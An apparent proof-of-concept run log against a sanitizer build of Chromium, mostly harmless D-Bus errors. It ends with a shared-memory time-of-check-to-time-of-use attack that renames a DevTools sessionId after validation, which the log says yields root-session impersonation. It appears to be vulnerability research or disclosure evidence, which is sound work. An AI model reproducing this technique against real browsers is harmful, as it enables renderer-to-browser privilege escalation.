[driver] launching: /chromium/chromium/src/out/asan/chrome --remote-debugging-pipe --no-first-run --no-default-browser-check --disable-gpu --no-sandbox --headless=new --user-data-dir=/tmp/chrome-toctou-v00e3hrj about:blank [chrome] [1181:1197:0530/004200.261033:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [chrome] [1181:1197:0530/004200.266261:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1197:0530/004200.266536:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [chrome] [1181:1197:0530/004200.266713:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [chrome] [1181:1197:0530/004200.266799:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1197:0530/004200.283995:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1197:0530/004200.342988:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1181:0530/004200.384410:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [chrome] [1181:1181:0530/004200.384543:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [chrome] [1181:1197:0530/004200.384556:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1197:0530/004200.384615:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1181:0530/004200.385097:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [chrome] [1181:1181:0530/004200.392198:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [chrome] [chrome] (chrome-toctou-v00e3hrj --noerrdialogs --ozone-platform=headless --ozone-override-screen-size=800,600 --use-angle=swiftshader-webgl about:blank:1181): dbind-WARNING **: 00:42:00.402: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/104146510/at-spi/bus_20: No such file or directory [driver] page targetId=866DA3390FDD9ED4DAE1A51A1BFC1136 [chrome] [1181:1197:0530/004200.817336:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [chrome] [1181:1197:0530/004200.817426:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [chrome] [1181:1181:0530/004200.817474:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [chrome] [1181:1181:0530/004200.818268:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [chrome] [1181:1197:0530/004200.818397:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1181:0530/004200.900630:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.Properties.GetAll: object_path= /org/freedesktop/UPower/devices/DisplayDevice: unknown error type: [chrome] [1181:1181:0530/004200.903695:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [chrome] [1181:1197:0530/004200.903882:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1181:0530/004200.945190:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [chrome] [1181:1197:0530/004200.945365:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [chrome] [1181:1181:0530/004201.005898:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [driver] child sessionId=8579F00575E24EAD3738E069F659CA35 [chrome] [TOCTOU-POC][renderer] sending shared-memory DispatchProtocolNotification (sessionId=8579F00575E24EAD3738E069F659CA35, 8388608-byte payload) [chrome] [TOCTOU-POC][renderer] mutated shared memory after 20 ms: sessionId key renamed to sessionXd [driver] got TOCTOU.spoofed: sessionId=None ======================================================================== TOCTOU.spoofed notification received from browser ======================================================================== expected child sessionId : 8579F00575E24EAD3738E069F659CA35 received sessionId : None renamed key (sessionXd) : '8579F00575E24EAD3738E069F659CA35' first 120 bytes : {"sessionXd":"8579F00575E24EAD3738E069F659CA35","method":"TOCTOU.spoofed","params":{"pad":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA ======================================================================== [+] VALIDATION BYPASSED: browser-side ValidateMessage() approved sessionId='8579F00575E24EAD3738E069F659CA35', but the DevTools client received sessionId=None. -> No sessionId at all == root-session impersonation in flattened CDP mode.